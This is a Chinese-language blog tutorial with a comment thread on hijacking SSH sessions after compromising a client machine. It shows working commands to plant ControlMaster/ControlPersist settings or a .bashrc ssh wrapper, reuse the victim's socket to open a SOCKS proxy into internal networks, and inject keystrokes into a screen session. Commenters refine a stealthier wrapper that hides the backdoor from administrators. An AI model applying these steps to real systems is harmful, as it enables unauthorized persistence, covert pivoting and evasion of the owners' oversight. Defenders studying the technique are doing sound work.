劫持SSH会话注入端口转发

0x00 前言


昨天A牛发群里的链接,其实这种攻击我感觉适合留后门,属于Post Exploitation阶段,我以前也没用过这个方法,都是傻呼呼的用个ld_preload后门,实际环境测试通过后,发现可用,比较有实用价值,就分享下,有错误的地方还请大家指出。

0x01 细节


1.1第一种场景:

攻击流程如下:SSH客户(ssh_user)连接到hop_1,攻击者(attacker)能够控制ssh_user这台机器,攻击者通过注入端口转发来实现入侵hop_1和hop_2之后的网络。步骤如下:

enter image description here

1. 攻击者可以用两种方式来修改ssh客户端,如果有ROOT权限可以直接修改/etc/ssh/ssh_config,如果没有修改ssh_config文件的权限,可以通过在相应用户的.bashrc中封装ssh来实现。主要涉及的项如下:

[cce]ControlPath /tmp/%r@%h:%p
ControlMaster auto
ControlPersist yes  
[/cce]

enter image description here

如果打开了ControlPersist,表示用户在进行SSH连接后,即使退出了会话,我们也能通过socket劫持,因为这个文件不会删除。

2. 当(ssh_user)连接到hop_1(192.168.56.131)的时候,会在/tmp目录下生成一个socket文件,我们使用

[cce]#!bash
ssh -S [email protected]\:22 %h
[/cce]

来连接

enter image description here

注入命令端口转发的命令如下:

[cce]#!bash
ssh -O forward -D 8888 -S [email protected]\:22 %x
[/cce]

enter image description here

执行完这条命令后,我们就可以使用ssh_user这台机器的8888端口做SOCKS5代理,访问hop_2后的网段了。

3. 前面说过,如果ControlPersist为yes,则不会自动删除sockets文件,[email protected]:22,也可以优雅的使用

[cce]#!bash
[email protected]: # ssh -O exit -S [email protected]\:22 %x
[/cce]

来删除。

在.bashrc里封装ssh命令的方法如下:

[cce]#!bash
ssh ()
{
/usr/bin/ssh -o “ControlMaster=auto” -o “ControlPath=/tmp/%r@%h:%p” -o “ControlPersist=yes” “$@”;
}
[/cce]

enter image description here

1.2第二种场景:

这种情景是ssh_user用户使用screen管理ssh会话时的情景,步骤如下:

enter image description here

1. 当ssh_user使用

[cce]#!bash
screen ssh [email protected]
[/cce]

连接远程的hop_1(192.168.56.131)时,会在/var/run/screen有显示相应的文件

[cce]#!bash
[email protected]:~# ls -la /var/run/screen/
total 0
drwxrwxr-x 3 root utmp 60 Mar 16 03:37 .
drwxr-xr-x 20 root root 640 Mar 3 21:23 ..
drwx—— 2 root root 60 Mar 16 04:21 S-root
[/cce]

其中S-ROOT表示是本地的root用户连接的远程,可以用screen -r root/来接管会话,或者用screen -x 6851.pts-0.kali

2. 如果要注入端口转发,还有 一点要注意,需要先执行script /dev/null来绕过pts/tty限制。命令如下

[cce]#!bash
[email protected]:~# lsof -i TCP:8888
[email protected]:~# script /dev/null
Script started, file is /dev/null
[email protected]:~# screen -S 6851.pts-0.kali -p 0 -X stuff $’~C’
[email protected]:~# screen -S 6851.pts-0.kali -p 0 -X stuff $’-D:8888\n\n’
[email protected]:~# lsof -i TCP:8888
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
ssh 6852 root 7u IPv4 94301 0t0 TCP *:8888 (LISTEN)
ssh 6852 root 8u IPv6 94302 0t0 TCP *:8888 (LISTEN)
[/cce]

注入screen的ssh会话,会有一个不好的地方,就是你敲的命令,会在当前正在连接的用户那里同时显示,容易被发现。

enter image description here

0x02 参考文章


http://0xthem.blogspot.com/2015/03/hijacking-ssh-to-inject-port-forwards.html

Comment

评论:高大上。

评论:@mickey 下面留了个脚本.不知道是否能用…有时间的话.帮忙测试一下.或者你发现啥好技巧.继续这里补充.我继续带娃娃去…..

评论:socket文件移动了还是可以用的,注销以后也可以用,但是重启后就不能用了,debian测试。

评论:ssh()
{
[ -S /tmp/*@* ] && (mv /tmp/*@* /dev/shm ; > ~/.ssh/config ) || echo -e “ControlPath /tmp/%r@%h_%p\nControlMaster auto\nControlPersist yes” > ~/.ssh/config
/usr/bin/ssh “$@”
}

评论:@tmp,我是测试过的,直接写到了.bashrc

评论:我这句话…..不是对你说的.哈哈哈.我是对壮丁说的.
另外
你看看别的系统.如果移动了ssh的socket.是否还能正常使用.
当爸的人了.没太多时间测试太多东西.
当然.这是个不错的技巧.有时间可以一起玩linux

评论:嗯.我和壮丁都是在centos下测试.不能用%x .
centos 6.6是能正常用ControlPersist yes  
< centos6.6 ControlPersist yes不一定能正常用.
我之前测试.debian 6好像也正常.忘记kali是基于啥版本linux的??
所以.我之前说.这个技巧不一定通用.没多系统测试过.贸然使用.会很惨

评论:kali下面:
ssh -O forward -D 8884 -S [email protected]\:22 [email protected]
ssh -O forward -D 8884 -S [email protected]\:22 %h
ssh -O forward -D 8884 -S [email protected]\:22 %x
三个一样
centos中:
[[email protected] tmp]# ssh -O forward -D 9090 -S /tmp/root\@192.168.5.5\:22 [email protected]
Invalid multiplex command.
[[email protected] tmp]# ssh -O forward -D 9090 -S /tmp/root\@192.168.5.5\:22 %x
Invalid multiplex command.
[[email protected] tmp]# ssh -O forward -D 9090 -S /tmp/root\@192.168.5.5\:22 %a
Invalid multiplex command.
[[email protected] tmp]# ssh -O forward -D 9090 -S /tmp/root\@192.168.5.5\:22 %b
Invalid multiplex command.
[[email protected] tmp]#

评论:[[email protected] tmp]# ssh -S root\@192.168.5.5\:22 %x

评论:我写这文章,当时确实是测试了的,就是没有你仔细,看能用socket连接上,就没有在测试用管理员再次连接了,所以没发现居然不需要再次输入密码的问题,多谢你帮我指出问题。

评论:你是这里错了%x
不是%x
是%h
老鼠楼主转错了

评论:我这个是测试了的
测试环境是:
CentOS release 6.6 (Final)
Kernel \r on an \m

评论:我就静静的看着你

评论:其实ControlPath /tmp/%r@%h:%p
你没必要弄个:. 麻烦,下次连ssh还要\转义
.你直接ControlPath /tmp/%r@%h_%p 或者 ControlPath /tmp/%r@%h 不要都行%p也行.反正就是个socket的命名.

评论:那只能说明你没去详细测试.这样就容易出现,你转我也转.最后大家都是错的

评论:你多测试一些不同的linux.比如centos5/6 ubuntu debian
我不知道是系统版本影响还是ssh版本影响,(没时间去折腾) 会出现不同的状况.
1 ControlPersist yes 不支持,直接报错
2 第一次登陆远程,创建本地socket后.退出远程会卡住.(ctrl+c都无效)
3 有些系统不设置ControlPersist参数.退出登陆后socket会保留,有些会直接删了.(这个问题不大)
1.2不管对谁都是灾难
反正多测试.这个东西不是想象中的那么统一

评论:恩,写几行脚本,就能避免那个问题了

评论:Get

评论:内网渗透必备技能

评论:我知道你说的是什么意思了
就是已经有socket了,下次管理员再连接的时候就不用输入密码了,容易被管理员发现
在/etc/ssh/ssh_config里不好直接解决这个问题
我是在.bashrc里判断处理的,如果有以前创建的连接远程主机的socket,就先移到别的地方,然后下下次管理员连接的时候,就不在创建socket。这样就行了。

评论:?
你看截图,我就是ssh -S socket这样的啊

评论:不要惹我,给你们说这是我炮友!

评论:场景1 不能这么简单的做.还要处理一下.要不.会死人的.
楼主可能没测试,你不ssh -S socket.你直接再ssh [email protected]..呵呵呵. 除非管理员是大sb

评论:不要玩楼主

评论:不要惹我,给你们说这是我菊友!

评论:楼上不要闹,这是我老公

评论:不要惹我,给你们说这是我师傅!

评论:这个简直屌炸天

评论:不要惹我,给你们说这是我师傅!

评论:这个简直屌炸天

评论:沙发么

发表评论

电子邮件地址不会被公开。 必填项已用*标注